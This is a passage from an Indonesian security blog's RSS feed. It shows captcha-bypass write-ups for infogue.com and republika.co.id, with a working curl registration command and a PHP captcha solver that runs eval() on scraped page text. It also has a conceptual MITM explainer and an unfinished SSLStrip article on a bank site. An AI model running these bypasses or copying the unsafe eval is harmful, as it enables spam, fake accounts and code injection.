POST /registration/index.php HTTP/1.1
Host: www.infogue.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.2.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.infogue.com/registration/
Cookie: PHPSESSID=bc1c8c242bcae4dc408e4462d6561568; PHPSESSID=bc1c8c242bcae4dc408e4462d6561568
Content-Type: application/x-www-form-urlencoded
Content-Length: 249
user_name=coba56789&amp;email=coba56789%40testemail.com&amp;passwordx=coba56789&amp;passwordy=coba56789&amp;name=coba56789&amp;gender=1&amp;day=01&amp;month=1&amp;year=2000&amp;poscode=12312&amp;location=coba56789&amp;country=US&amp;code=vycpiq&amp;captcha_code=vycpiq&amp;register-terms=1&amp;submit=lanjut</pre></td></tr></table></div>

<p style="text-align: justify;">
Perhatikan pada data yang disubmit, ada dua field penting yang terkait dengan captcha. captcha_code dan code. Kedua field ini isinya harus sama agar test captcha dikatakan sukses. Jadi sebenarnya kita tidak perlu menjawab captcha sesuai dengan soal yang diminta, kita bisa memberikan jawaban apa saja yang kita mau. Caranya adalah dengan mengisi captcha_code dan code dengan isi yang sama pada saat submit form data.
</p>
<p align="justify">
Sebelumnya saya sudah menjelaskan bahwa alur penyelesaian captcha terdiri dari 2 langkah, langkah menerima soal dan menjawab soal. Nah dengan kesalahan ini, maka kita tidak perlu tahu soalnya, kita bisa langsung mengirimkan (submit) form dan mengirimkan jawaban captcha apa saja yang kita mau. Gambar berikut menunjukkan alur penyelesaian captcha di infogue.</p>
<div id="attachment_1426" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/captcha_flow_infogue.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/captcha_flow_infogue-300x111.png" alt="captcha flow infogue" title="captcha_flow_infogue" width="300" height="111" class="size-medium wp-image-1426" /></a><p class="wp-caption-text">captcha flow infogue</p></div>
<p align="justify">
Mari kita coba untuk membuat user dengan command line di linux.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ curl -vvv -s &quot;http://www.infogue.com/registration/&quot; -d &quot;user_name=coba128&amp;email=coba128%40ilmuhacking.com&amp;passwordx=pass123&amp;passwordy=pass123&amp;name=coba126&amp;gender=1&amp;day=01&amp;month=1&amp;year=2000&amp;poscode=12312&amp;location=coba126&amp;country=US&amp;code=sukasuka&amp;captcha_code=sukasuka&amp;register-terms=1&amp;submit=lanjut&quot;
* About to connect() to www.infogue.com port 80
*   Trying 202.6.233.86... connected
* Connected to www.infogue.com (202.6.233.86) port 80
&gt; POST /registration/ HTTP/1.1
&gt; User-Agent: curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
&gt; Host: www.infogue.com
&gt; Accept: */*
&gt; Content-Length: 241
&gt; Content-Type: application/x-www-form-urlencoded
&gt;
&gt; user_name=coba128&amp;email=coba128%40ilmuhacking.com&amp;passwordx=pass123&amp;passwordy=pass123&amp;name=coba126&amp;gender=1&amp;day=01&amp;month=1&amp;year=2000&amp;poscode=12312&amp;location=coba126&amp;country=US&amp;code=sukasuka&amp;captcha_code=sukasuka&amp;register-terms=1&amp;submit=lanjut
&nbsp;
&lt; HTTP/1.1 302 Found
&lt; Date: Mon, 18 May 2009 09:58:09 GMT
&lt; Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch13
&lt; X-Powered-By: PHP/5.2.0-8+etch13
&lt; Set-Cookie: PHPSESSID=4fa4fd914ae3ac923c6206ffe0e69a82; path=/
&lt; Expires: Thu, 19 Nov 1981 08:52:00 GMT
&lt; Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
&lt; Pragma: no-cache
&lt; Set-Cookie: PHPSESSID=4fa4fd914ae3ac923c6206ffe0e69a82; expires=Wed, 17-Jun-2009 09:58:09 GMT; path=/; domain=.infogue.com
&lt; Location: http://www.infogue.com/user/coba128/
&lt; Content-Length: 0
&lt; Content-Type: text/html; charset=UTF-8
* Connection #0 to host www.infogue.com left intact
* Closing connection #0</pre></td></tr></table></div>

<p align="justify">
Terlihat bahwa respons dari server adalah HTTP 302 ke /user/[username], hal ini menunjukkan bahwa pendaftaran berhasil. Lihat betapa mudahnya membuat user baru tanpa peduli dengan captcha. Hanya dengan membuat POST request dan mengisi captcha dengan &#8220;sukasuka&#8221;. Jadi perintah di Linux untuk membuat user di infogue sangat sederhana:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">curl -s &quot;http://www.infogue.com/registration/&quot; -d &quot;user_name=coba128&amp;email=coba128%40ilmuhacking.com&amp;passwordx=pass123&amp;passwordy=pass123&amp;name=coba128&amp;gender=1&amp;day=01&amp;month=1&amp;year=2000&amp;poscode=12312&amp;location=manasaja&amp;country=US&amp;code=sukasuka&amp;captcha_code=sukasuka&amp;register-terms=1&amp;submit=lanjut&quot;</pre></div></div>

<p><b>Breaking Captcha Republika.co.id</b><br />
<a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/republikalogo.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/republikalogo-150x68.png" alt="republikalogo" title="republikalogo" width="150" height="68" class="alignleft size-thumbnail wp-image-1437" /></a></p>
<p align="justify">
Satu lagi website yang menggunakan captcha yang salah kaprah adalah Republika. Website koran ini memakai captcha agar artikel di webnya tidak dimasuki comment spam. Gambar di bawah ini menunjukkan contoh spam dan source htmlnya.
</p>
<div id="attachment_1421" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/infoguecaptcha5.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/infoguecaptcha5-300x213.png" alt="republika captcha " title="infoguecaptcha5" width="300" height="213" class="size-medium wp-image-1421" /></a><p class="wp-caption-text">republika captcha </p></div>
<p align="justify">
Captcha dalam bentuk soal matematika ini sangat mudah diselesaikan oleh mesin karena soal ditulis dalam bentuk teks html biasa. Seperti yang sudah kita ketahui bahwa teks adalah bentuk penyimpanan informasi yang paling primitif sehingga sangat mudah dibaca oleh mesin. Jadi kesalahan dari captcha di website republika adalah menggunakan teks sebagai captcha.</p>
<p align="justify">
Berikut ini adalah script php sederhana yang mengambil berita di website republika kemudian menyelesaikan soal captchanya.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;http://www.republika.co.id/berita/51040/Ibra_masih_Buka_Peluang_Pergi&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$str</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$pos1</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$str</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;security_text_area&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$pos2</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$str</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;&gt;&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$pos1</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$pos3</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$str</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;&lt;&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$pos2</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$equation</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$str</span><span style="color: #339933;">,</span><span style="color: #000088;">$pos2</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span><span style="color: #000088;">$pos3</span><span style="color: #339933;">-</span><span style="color: #000088;">$pos2</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$equation</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$equation</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\$</span>hasil=<span style="color: #006699; font-weight: bold;">$equation</span>;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">print</span> <span style="color: #000088;">$equation</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$hasil</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p align="justify">
Mari kita coba jalankan script di atas sebanyak 10 kali. Berikut hasilnya:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ for i in `seq 1 10`;do php republika.php ;done
3+1=4
6-0=6
9+8=17
3+6=9
9-3=6
2+9=11
4-4=0
9-3=6
8+7=15
1-8=-7</pre></td></tr></table></div>

<p align="justify">
Setelah menyelesaikan captcha, langkah kedua adalah langkah mengirimkan jawaban soal ke webserver. Jawaban dikirimkan dalam bentuk POST request ke http://www.republika.co.id/E3/saveCommentar bersama dengan cookie dan field berikut:<br />
nama=[NamaKomentator]&#038;email=&#038;website=&#038;news_id=51223&#038;komentar=[isikomentar]&#038;secCode=[JawabanCaptcha]&#038;commit=</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=jQ4CJCNZ9f8:UeXmF_Wby9s:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=jQ4CJCNZ9f8:UeXmF_Wby9s:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=jQ4CJCNZ9f8:UeXmF_Wby9s:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=jQ4CJCNZ9f8:UeXmF_Wby9s:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=jQ4CJCNZ9f8:UeXmF_Wby9s:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=jQ4CJCNZ9f8:UeXmF_Wby9s:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=jQ4CJCNZ9f8:UeXmF_Wby9s:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=jQ4CJCNZ9f8:UeXmF_Wby9s:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/captcha-salah-kaprah-di-republika-infogue/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Mengenal Serangan Man-in-The-Middle (MITM)</title>
		<link>http://www.ilmuhacking.com/basic-concept/mengenal-serangan-man-in-the-middle-mitm/</link>
		<comments>http://www.ilmuhacking.com/basic-concept/mengenal-serangan-man-in-the-middle-mitm/#comments</comments>
		<pubDate>Wed, 13 May 2009 10:27:10 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Basic Concept]]></category>
		<category><![CDATA[mitm]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1381</guid>
		<description><![CDATA[Sudah banyak artikel di ilmuhacking yang membahas teknik serangan man in the middle (mitm), namun belum pernah saya menjelaskan secara detil tentang apa itu mitm attack. Mitm attack merupakan jenis serangan yang sangat berbahaya dan bisa terjadi di mana saja, baik di website, telepon seluler, maupun di peralatan komunikasi tradisional seperti surat menyurat. Oleh karena [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Sudah banyak artikel di ilmuhacking yang membahas teknik serangan man in the middle (mitm), namun belum pernah saya menjelaskan secara detil tentang apa itu mitm attack. Mitm attack merupakan jenis serangan yang sangat berbahaya dan bisa terjadi di mana saja, baik di website, telepon seluler, maupun di peralatan komunikasi tradisional seperti surat menyurat. Oleh karena itu saya pikir perlu ada satu artikel khusus yang membahas tentang mitm attack terlepas dari apapun dan dimanapun implementasi teknisnya.</p>
<p><span id="more-1381"></span><strong>Bukan Sekedar Sniffing</strong></p>
<p style="text-align: justify;">Mungkin banyak yang mengira tujuan dari serangan mitm adalah untuk menyadap komunikasi data rahasia, seperti yang sniffing. Sniffing bisa disebut sebagai passive attack karena pada sniffing attacker tidak melakukan tindakan  apa-apa selain memantau data yang lewat.  Memang benar dengan serangan mitm, seorang attacker bisa mengetahui apa yang dibicarakan oleh dua pihak yang berkomunikasi. Namun sebenarnya kekuatan terbesar dari mitm bukan pada kemampuan sniffingnya, namun pada kemampuan mencegat dan mengubah komunikasi sehingga mitm attack bisa disebut sebagai jenis serangan aktif.</p>
<p>Gambar di bawah ini adalah skenario yang bisa dilakukan attacker dengan serangan mitm.</p>
<div id="attachment_1385" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mitm_scenario1.png"><img class="size-medium wp-image-1385" title="mitm_scenario1" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mitm_scenario1-300x206.png" alt="mitm scenario: sniffing,intercepting,tampering,fabricating" width="300" height="206" /></a><p class="wp-caption-text">sniffing,intercepting,tampering,fabricating</p></div>
<p style="text-align: left;">Pada gambar tersebut terlihat ada 4 macam serangan yang bisa dilakukan dengan MITM. Berikut adalah penjelasan dari jenis serangan tersebut dalam skenario seperti gambar di atas.</p>
<ul>
<li><strong>Sniffing:</strong> Charlie mengetahui semua pembicaraan antara Alice dan Bob.</li>
<li><strong>Intercepting:</strong> Charlie mencegat pesan dari Alice ketika Alice ingin menutup percakapan dengan &#8220;Bob I&#8217;m going to sleep, Bye!&#8221;. Dengan begini Bob mengira Alice masih berkomunikasi dengannya.</li>
<li><strong>Tampering:</strong> Charlie mengubah jawaban Bob kepada Alice dari account Paypal bob menjadi charlie.</li>
<li><strong>Fabricating: </strong>Charlie menanyakan nomor social security number kepada Bob, padahal pertanyaan ini tidak pernah diajukan oleh Alice.</li>
</ul>
<p style="text-align: left;">Dengan cara mitm ini bisa dibayangkan betapa besar potensi kerusakan yang bisa dilakukan Charlie kepada Alice dan Bob.</p>
<p><strong>Proses Terjadinya Serangan Man-in-The-Middle </strong></p>
<p style="text-align: justify;">Dalam serangan mitm, seorang attacker akan berada di tengah-tengah komunikasi antara dua pihak. Seluruh pembicaraan yang terjadi di antara mereka harus melalui attacker dulu di tengah. Attacker dengan leluasa melakukan penyadapan, pencegatan, pengubahan bahkan memalsukan komunikasi seperti yang sudah saya jelaskan sebelumnya.</p>
<p style="text-align: justify;">Sekarang mari kita lihat proses terjadinya MITM dalam contoh kasus Alice berkomunikasi dengan Bob. Charlie sebagai attacker akan berusaha berada di tengah antara Alice dan Bob. Agar Charlie berhasil menjadi orang ditengah, maka Charlie harus:</p>
<ul>
<li>menyamar sebagai Bob dihadapan Alice</li>
<li>menyamar sebagai Alice dihadapan Bob</li>
</ul>
<div id="attachment_1392" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mitm_flow.png"><img class="size-medium wp-image-1392" title="mitm_flow" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/mitm_flow-300x191.png" alt="Charlie acts as fake Bob and fake Alice" width="300" height="191" /></a><p class="wp-caption-text">Charlie acts as fake Bob and fake Alice</p></div>
<p style="text-align: justify;">Dalam mitm, Alice mengira sedang berbicara dengan Bob, padahal dia sedang berbicara dengan Charlie. Begitu juga Bob, dia mengira sedang berbicara dengan Alice, padahal sebenarnya dia sedang berbicara dengan Alice. Jadi agar bisa menjadi orang di tengah Charlie harus bisa menyamar di dua sisi, tidak bisa hanya di satu sisi saja.</p>
<p style="text-align: justify;">Kenapa Alice dan Bob bisa terjebak dan tertipu oleh Charlie? Itu karena Alice dan Bob tidak melakukan otentikasi dulu sebelum berkomunikasi. Otentikasi akan menjamin Alice berbicara dengan Bob yang asli, bukan Bob palsu yang diperankan oleh Charlie. Begitu juga dengan otentikasi, Bob akan berbicara dengan Alice yang asli, bukan Alice palsu yang diperankan oleh Charlie.</p>
<p><strong>Pentingnya Otentikasi: Who Are You Speaking With?</strong></p>
<p style="text-align: justify;">Otentikasi adalah proses untuk membuktikan identitas suatu subjek, bisa orang atau mesin. Proses membuktikan identitas seeorang ada banyak cara, namun semuanya bisa dikelompokkan dalam 3 kategori:</p>
<ul>
<li>What you know: PIN, password, pasangan kunci publik-privat</li>
<li>What you have: smart card, kunci, USB dongle</li>
<li>What you are: fingerprint, retina</li>
</ul>
<p style="text-align: justify;">Secara singkat otentikasi menjawab pertanyaan &#8220;Who are you speaking with?&#8221;. Pertanyaan itu sangat penting diketahui sebelum dua pihak berkomunikasi. Bila dua pihak berkomunikasi tanpa sebelumnya melakukan otentikasi, maka keduanya bisa terjebak berbicara dengan orang yang salah, yaitu orang yang menyamar menjadi lawan bicaranya. Bila sampai ini terjadi maka akibatnya bisa sangat fatal, salah satunya adalah terjadinya mitm attack.</p>
<p style="text-align: justify;">Bila dua orang yang sudah saling mengenal berbicara dengan tatap muka langsung, maka tidak mungkin keduanya terjebak dan tertipu berbicara dengan orang yang salah. Otentikasi menjadi sangat penting bila kedua pihak berbicara melalui media komunikasi jarak jauh seperti telpon atau internet. Dalam komunikasi jarak jauh, kita hanya bisa mendengar suara lawan bicara kita, jadi sangat besar kemungkinan kita berbicara dengan orang yang salah.</p>
<p style="text-align: justify;">Jadi cara untuk mencegah serangan MITM adalah dengan melakukan otentikasi sebelum berkomunikasi. Bahkan walaupun otentikasi dilakukan oleh salah satu pihak saja, itu sudah cukup untuk mencegah mitm. Mari kita lihat kembali contoh Alice,  Bob dan Charlie, bila otentikasi hanya dilakukan oleh Bob, sedangkan Alice tidak. Karena tidak adanya otentikasi Alice, maka Charlie bisa menyamar sebagai Alice di hadapan Bob, namun Charlie tidak bisa menyamar sebagai Bob di hadapan Alice. Kenapa Charlie tidak bisa menyamar menjadi Bob? Sebab Alice akan menguji keaslian Bob dengan otentikasi, sehingga penyamaran Charlie sebagai Bob palsu akan terbongkar dan Alice tidak akan mau melanjutkan komunikasi.</p>
<p style="text-align: justify;">
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=1JYty9U9JaY:ZLkKKYGiERQ:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=1JYty9U9JaY:ZLkKKYGiERQ:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=1JYty9U9JaY:ZLkKKYGiERQ:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=1JYty9U9JaY:ZLkKKYGiERQ:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=1JYty9U9JaY:ZLkKKYGiERQ:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=1JYty9U9JaY:ZLkKKYGiERQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=1JYty9U9JaY:ZLkKKYGiERQ:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=1JYty9U9JaY:ZLkKKYGiERQ:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/basic-concept/mengenal-serangan-man-in-the-middle-mitm/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>MITM Attack on Mandiri Internet Banking using SSLStrip</title>
		<link>http://www.ilmuhacking.com/web-security/mitm-attack-mandiri-internet-banking-using-sslstrip/</link>
		<comments>http://www.ilmuhacking.com/web-security/mitm-attack-mandiri-internet-banking-using-sslstrip/#comments</comments>
		<pubDate>Wed, 06 May 2009 14:44:40 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[mandiri]]></category>
		<category><![CDATA[mitm]]></category>
		<category><![CDATA[sslstrip]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1355</guid>
		<description><![CDATA[Https (http over SSL) sebenarnya adalah protokol yang sangat aman, protokol ini menjamin keamanan data dari browser hingga web server. MITM attack (man in the middle) tidak bisa dilakukan terhadap https karena https memiliki fitur authentication sehingga attacker tidak bisa menyamar sebagai web server. Walaupun mitm attack tidak bisa dilakukan terhadap https, namun attacker tetap [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Https (http over SSL) sebenarnya adalah protokol yang sangat aman, protokol ini menjamin keamanan data dari browser hingga web server. MITM attack (man in the middle) tidak bisa dilakukan terhadap https karena https memiliki fitur authentication sehingga attacker tidak bisa menyamar sebagai web server. Walaupun mitm attack tidak bisa dilakukan terhadap https, namun attacker tetap bisa menyerang user yang menggunakan http sebagai pintu masuk menuju https. Dalam artikel ini saya akan jelaskan tentang <a href="http://www.thoughtcrime.org/software/sslstrip/index.html" target="_blank">SSLStrip</a>, sebuah tool yang dibuat oleh Moxie Marlinspike untuk melakukan serangan mitm terhadap pengguna situs yang dilindungi dengan https.</p>
<p><span id="more-1355"></span></p>
<p><strong>SSL is not vulnerable to MITM attack</strong></p>
<p style="text-align: justify;">MITM attack adalah serangan dimana attacker berada di tengah bebas mendengarkan dan mengubah percakapan antara dua pihak. Jadi dengan serangan MITM ini attacker tidak hanya pasif mendengarkan, tetapi juga aktif mengubah komunikasi yang terjadi. Sebagai contoh, pada percakapan antara Alice dan Bob, Charlie menjadi pihak yang ditengah melakukan MITM attack. Charlie tidak hanya bisa mendengarkan percakapan itu, namun juga bisa mengubah percakapannya. Ketika Alice berkata &#8220;Besok makan siang jam 7&#8243;, Charlie bisa mengubahnya menjadi &#8220;Besok makan siang dibatalkan&#8221; sehingga Bob mengira makan siang dengan Alice tidak jadi.</p>
<p style="text-align: justify;">Kenapa MITM attack bisa terjadi? MITM attack bisa terjadi karena sebelum berkomunikasi kedua pihak tidak melakukan authentication. Authentication berguna untuk memastikan identitas pihak yang berkomunikasi, apakah saya sedang berbicara dengan orang yang benar, atau orang ke-3 (the person in the middle) ? Tanpa authentication Alice akan mengira sedang berbicara dengan Bob, sedangkan Bob juga mengira sedang berbicara dengan Alice, padahal bisa jadi sebenarnya Alice sedang berbicara dengan Charlie dan Bob juga sedang berbicara dengan Charlie, sehingga Charlie bertindak sebagai &#8220;the person in the middle&#8221;. Seharusnya sebelum Alice dan Bob berbicara, harus ada authentication, untuk memastikan &#8220;Who are you speaking with?&#8221;. Alice harus memastikan &#8220;Are you really Bob? Prove it!&#8221;, sedangkan Bob juga harus memastikan &#8220;Are you really Alice? Prove it!&#8221;.</p>
<p style="text-align: justify;">SSL adalah protokol yang memiliki tingkat keamanan sangat tinggi. SSL tidak hanya mengatur tentang enkripsi, namun juga mengatur tentang authentication sehingga SSL tidak rentan terhadap serangan man in the middle. SSL menggunakan sertifikat yang memanfaatkan kunci publik dan kunci private sebagai cara untuk melakukan authentication. Dengan menggunakan sertifikat SSL ini, pengunjung web bisa yakin sedang berkomunikasi dengan web server yang benar, bukan attacker in the middle yang menyamar menjadi web server suatu situs.</p>
<p style="text-align: justify;">Attacker yang mencoba menjadi &#8220;the person in the middle&#8221;, akan dengan mudah ketahuan karena attacker tidak bisa membuktikan identitasnya dengan sertifikat SSL yang sah. Sertifikat SSL yang sah haruslah ditandatangani oleh CA (certificate authority) yang dipercaya dan tersimpan dalam daftar trusted CA browser. Jadi bila attacker mencoba membuat sertifikat SSL sendiri, browser akan memberi peringatan keras pada pengunjung bahwa sertifikat SSL tidak bisa dipercaya dan pengunjung disarankan untuk membatalkan kunjungan karena beresiko terkena serangan mitm. Serangan mitm attack baru bisa berhasil bila pengunjung tetap bandel dan nekat untuk menggunakan sertifikat palsu tersebut. Bila ini yang terjadi, maka kesalahan ada pada pengguna, bukan kelemahan SSL sebagai protokol. Lebih detil tentang https silakan baca <a href="http://www.ilmuhacking.com/cryptography/understanding-https/" target="_blank">Understanding Https</a>.</p>
<p style="text-align: justify;"><strong>HTTPS vs HTTP, Trusted vs Untrusted</strong></p>
<p style="text-align: justify;">http adalah protokol yang tidak bisa dipercaya karena rentan terhadap serangan mitm. Sedangan http over SSL (https) adalah protokol yang bisa dipercaya karena protokol ini tidak rentan terhadap serangan mitm. Informasi yang dilihat  pengunjung pada browser di sebuah page http sebenarnya tidak bisa dipercaya karena tidak ada jaminan integritas dan keontentikan data. Informasi tersebut kemungkinan sudah diubah di tengah jalan atau berasal dari sumber yang tidak otentik (orang lain). dan pengunjung tidak bisa melakukan verifikasi.</p>
<p style="text-align: justify;">Sedangkan informasi yang dilihat pengunjung pada browser di sebuah halaman https bisa dipercaya karena DIJAMIN informasi yang diterima adalah sama dengan yang dikirim web server dan informasi tersebut juga DIJAMIN dikirim oleh web server yang benar. Dulu saya pernah menulis artikel tentang <a href="http://www.ilmuhacking.com/web-security/ibank-vs-www-klikbca/" target="_blank">Trusted vs Untrusted klikBCA</a>, yang menjelaskan tentang adanya dua subdomain yang berbeda, yang trusted menggunakan https dan yang untrusted menggunakan http.</p>
<p style="text-align: justify;"><strong>HTTP as Gate to HTTPS</strong></p>
<p style="text-align: justify;">Jarang sekali orang mengunjungi situs dengan mengetikkan https:// bahkan http:// pun orang sudah malas. Kebanyakan orang langsung mengetikkan alamat situs yang ditujunya tanpa harus diawali dengan http:// atau https://. Secara default browser akan berasumsi bahwa pengunjung akan menggunakan protokol http, bukan https bila pengunjung tidak menyebutkan protokolnya.</p>
<p style="text-align: justify;">Kebanyakan situs yang harus memakai https, memang dirancang untuk menerima request melalui http (port 80) atau https (port 443). Situs pada port 80 biasanya hanya dijadikan jembatan untuk menuju situs yang sebenarnya pada port 443. Bila pengunjung masuk melalui port 80, maka server akan memberikan link untuk menuju URL https, atau dengan memberikan response Redirect.</p>
<p style="text-align: justify;">Jadi bisa disimpulkan bahwa sebagian besar pengunjung memasuki https dengan melalui http, dengan kata lain http sebagai gerbang menuju https. Metode peralihan dari situs http ke situs https ada beberapa cara, yaitu:</p>
<ul>
<li>Memberikan link menuju URL https.</li>
<li>Memberikan response redirect ke URL https.</li>
<li>Menggunakan META tag auto refresh ke URL https.</li>
<li>Menggunakan javascript untuk load halaman https.</li>
</ul>
<p><strong>Attacking HTTP, not HTTPS</strong></p>
<p style="text-align: left;">Sebelumnya sudah saya jelaskan bahwa https adalah protokol yang sangat secure sehingga tidak bisa diserang dengan serangan mitm. Namun mengingat kenyataan bahwa kebanyakan orang mengakses https melalui http, maka attacker memiliki peluang untuk menyerang ketika pengunjung masih berada dalam protokol http.</p>
<p style="text-align: left;">SSLStrip adalah tool untuk melakukan mitm attack pada protokol http  (bukan HTTPS), dengan maksud untuk menyerang situs-situs yang dilindungi dengan https. SSLStrip sebagai &#8220;the person in the middle&#8221;, akan mencegah peralihan dari http ke https dengan secara aktif mengubah response dari server sehingga pengunjung akan tetap berada dalam protokol http.</p>
<p>Mari kita lihat beberapa cara peralihan dari http ke https, saya tambahkan cara SSLStrip mencegah peralihan itu:</p>
<ul>
<li>Memberikan link menuju URL https: SSLStrip akan mengubah link berawalan https menjadi http. Sehingga yang muncul di browser korban bukan link ke https melainkan link ke http.</li>
<li>Memberikan response redirect ke URL https: SSLStrip akan mengubah header Location dari URL berawalan https menjadi http.</li>
